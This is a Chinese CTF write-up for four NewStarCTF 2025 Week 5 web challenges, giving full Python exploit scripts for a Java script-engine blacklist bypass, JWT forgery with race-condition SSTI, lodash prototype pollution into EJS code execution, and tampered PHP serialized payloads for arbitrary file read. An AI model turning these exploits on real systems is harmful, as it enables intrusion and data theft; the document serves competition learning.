NewStarCTF2025-Week5-Web

目录

1、眼熟的计算器

2、废弃的网站

3、小W和小K的故事(最终章)

4、Binary Blog


1、眼熟的计算器

反编译jar包看源码

做了黑名单,需要绕过,然后执行命令

Exp:

import requests
import urllib.parse
import re

host = "http://8.147.132.32:38529"
url = f"{host}/calc"

# 绕过黑名单: "java.lang.Runtime", "new"
# 使用字符串拼接 + 反射获取 Scanner 构造器 + newInstance 调用
exploit_js = r'''
var rtName = 'java.lang.Run' + 'time';
var Runtime = Java.type(rtName);
var runtime = Runtime.getRuntime();
var p = runtime.exec('cat /flag');
var is = p.getInputStream();
var Scanner = Java.type('java.util.Scanner');
var InputStream = Java.type('java.io.InputStream');
var StringClass = Java.type('java.lang.String');
var constr = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var n = 'n'; var e = 'e'; var w = 'w';
var methodName = n + e + w + 'Instance';
var scanner = constr[methodName](is, 'UTF-8');
scanner.useDelimiter('\\A');
var result = scanner.hasNext() ? scanner.next() : '';
if (result === '') {
  var es = p.getErrorStream();
  var constr_es = Scanner.class.getConstructor(InputStream.class, StringClass.class);
  var scanner_es = constr_es[methodName](es, 'UTF-8');
  scanner_es.useDelimiter('\\A');
  result = scanner_es.hasNext() ? scanner_es.next() : '';
}
scanner.close();
result;
'''

def send_request(content):
    encoded = urllib.parse.quote(content)
    target = url + "?content=" + encoded
    try:
        r = requests.get(target, timeout=30)
        return r.text
    except Exception as e:
        print("Request error:", e)
        return None

def main():
    print("Sending exploit payload...")
    text = send_request(exploit_js)
    if text:
        # 提取 flag
        match = re.search(r'flag\{[^}]*\}', text)
        if match:
            print("Flag found:", match.group(0))
        else:
            print("Flag not found in output. Raw response:")
            print(text)
    else:
        print("Request failed.")

if __name__ == "__main__":
    main()

2、废弃的网站

给了源码,结合提示,条件竞争打ssti

Exp:

import requests
import re
import time
import jwt
import hashlib
import concurrent.futures

base_url = "http://8.147.132.32:13440"

# Step 1: Get running time and guest JWT
r = requests.get(base_url + '/', cookies={'session': 'invalid'})
text = r.text
match = re.search(r'System has been running (\d+) seconds.', text)
if not match:
    print("Failed to get running time.")
    exit(1)
running = int(match.group(1))

guest_jwt = r.cookies.get('session')
if not guest_jwt:
    print("Failed to get guest JWT.")
    exit(1)

# Step 2: Brute force start time (wider range)
current = int(time.time())
correct_secret = None
for offset in range(-60, 61):
    candidate = current - running + offset
    secret = hashlib.sha256(str(candidate).encode()).hexdigest()
    try:
        decoded = jwt.decode(guest_jwt, secret, algorithms=['HS256'])
        if decoded.get('role') == 'guest' and decoded.get('name') == 'Guest User':
            correct_secret = secret
            print(f"Secret found: start_time = {candidate}")
            break
    except:
        pass

if not correct_secret:
    print("Failed to find correct secret. Current time:", current, "Running:", running)
    exit(1)

# Step 3: Universal SSTI RCE payload (no hardcoded index)
ssti = r'''
{{ lipsum.__globals__["os"].popen("cat /flag").read() }}
'''

# Step 4: Forge JWTs
admin_jwt = jwt.encode({
    "id": 1, "role": "admin", "name": "Administrator"
}, correct_secret, algorithm='HS256')

exploit_jwt = jwt.encode({
    "id": 2, "role": "guest", "name": ssti
}, correct_secret, algorithm='HS256')


# Step 5: Race condition functions
def send_admin():
    return requests.get(base_url + '/admin', cookies={'session': admin_jwt}, timeout=15).text


def send_exploit():
    return requests.get(base_url + '/', cookies={'session': exploit_jwt}, timeout=15).text


# Step 6: Exploit with retry
def attempt():
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
        admin_future = executor.submit(send_admin)
        time.sleep(0.07)  # Critical: let admin request enter admin_required
        exploit_future = executor.submit(send_exploit)

        admin_text = admin_future.result()
        exploit_text = exploit_future.result()

    match = re.search(r'flag\{[^}]*\}', admin_text)
    if match:
        print("FLAG:", match.group(0))
        return True
    return False


# Step 7: Run multiple attempts
for i in range(50):
    print(f"Attempt {i + 1}/50...")
    if attempt():
        break
    time.sleep(0.3)
else:
    print("Failed after 50 attempts. Try again.")

3、小W和小K的故事(最终章)

    考察原型链污染,题目使用固定种子预测 Admin 密码后登录;

    通过 /addUser 路由中的 lodash.defaultsDeep(users, req.body)向全局 Object.prototype 注入 client=true 和恶意 escapeFunction;

    最终,当访问 / 路由触发 res.render('index', ...) 渲染 EJS 模板时,EJS 会误将全局原型链上的恶意属性视为有效渲染选项并执行 escapeFunction,从而实现 RCE 获取 Flag。

    Exp:

    import requests
    import json
    import re
    import sys
    
    # --- Configuration ---
    TARGET_URL = "https://eci-2ze0q0ggj5u9py52mu38.cloudeci1.ichunqiu.com:3000"
    ADMIN_USERNAME = 'admin'
    PRNG_SEED = 114514
    
    requests.packages.urllib3.disable_warnings()
    
    
    # --- PRNG Calculation ---
    class PRNG:
        MODULUS = 998244353
        MULTIPLIER = 48271
        CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    
        def __init__(self, seed):
            self.seed = seed % self.MODULUS
    
        def next_int(self):
            self.seed = (self.seed * self.MULTIPLIER) % self.MODULUS
            return self.seed
    
        def get_random_int(self, min_val, max_val):
            return min_val + (self.next_int() % (max_val - min_val))
    
        def get_random_string(self, length):
            result = ""
            for _ in range(length):
                random_index = self.get_random_int(0, len(self.CHARSET))
                result += self.CHARSET[random_index]
            return result
    
    
    def calculate_admin_password(seed):
        rng = PRNG(seed)
        rng.get_random_string(16)  # Session Secret (State change)
        return rng.get_random_string(16)  # Admin Password
    
    
    # --- Main Exploit Function ---
    def exploit_rce():
        session = requests.Session()
    
        # 1. Calculate password and login
        admin_password = calculate_admin_password(PRNG_SEED)
        print(f"🔑 Admin Password: {admin_password}")
    
        login_url = f"{TARGET_URL}/login"
        login_payload = {"username": ADMIN_USERNAME, "password": admin_password}
    
        try:
            session.post(login_url, json=login_payload, allow_redirects=False, verify=False)
        except requests.exceptions.RequestException as e:
            print(f"❌ Login error: {e}");
            sys.exit(1)
    
        if 'session' not in session.cookies:
            print("❌ Login failed. Exiting.");
            sys.exit(1)
    
        print("✅ Logged in.")
    
        # 2. Prototype Pollution Payload
        rce_payload_value = f"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"
    
        pollution_payload = {
            "constructor": {
                "prototype": {
                    "client": True,
                    "escapeFunction": rce_payload_value
                }
            }
        }
    
        # 3. Trigger Pollution via /addUser (lodash.defaultsDeep)
        add_user_url = f"{TARGET_URL}/addUser"
        try:
            session.post(add_user_url, json=pollution_payload, allow_redirects=False, verify=False)
            print("✅ Pollution payload sent.")
        except requests.exceptions.RequestException as e:
            print(f"❌ Pollution request error: {e}");
            sys.exit(1)
    
        # 4. Trigger EJS RCE (GET /)
        trigger_url = f"{TARGET_URL}/"
        print("🔥 Triggering RCE...")
    
        try:
            response = session.get(trigger_url, verify=False)
            flag_match = re.search(r'ichiq\{[a-zA-Z0-9_-]+\}', response.text)
    
            if flag_match:
                print("\n🎉 **Flag Found!** 🎉")
                print("====================================")
                print(f"FLAG: **{flag_match.group(0)}**")
                print("====================================")
            else:
                print("\n🤔 Flag not matched. Check response snippet:")
                print(response.text[:500])
    
        except requests.exceptions.RequestException as e:
            print(f"❌ RCE trigger error: {e}")
    
    
    if __name__ == "__main__":
        exploit_rce()

    4、Binary Blog

    尝试登录admin未成功,随便注册一个账号进去看看

    测了下功能点,发现存在文件上传点

    随便传了个东西,注意到报错反序列化失败

    因为不清楚它反序列化的情况,我们直接发布博客导出看看dat文件的内容

    注意到其中template默认是default.php,尝试换成其他文件,比如/etc/passwd

    发现存在任意文件读取漏洞

    Payload:

    a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:11:"/etc/passwd";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}

    尝试使用伪协议读取flag.php

    Payload:

    a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:55:"php://filter/convert.iconv.SJIS.UCS-4/resource=flag.php";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}

    评论
    成就一亿技术人!
    拼手气红包6.0元
    还能输入1000个字符
     
    红包 添加红包
    表情包 插入表情
     条评论被折叠 查看
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包

    打赏作者

    My6n

    你的鼓励将是我创作的最大动力

    ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
    扫码支付:¥1
    获取中
    扫码支付

    您的余额不足,请更换扫码支付或充值

    打赏作者

    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值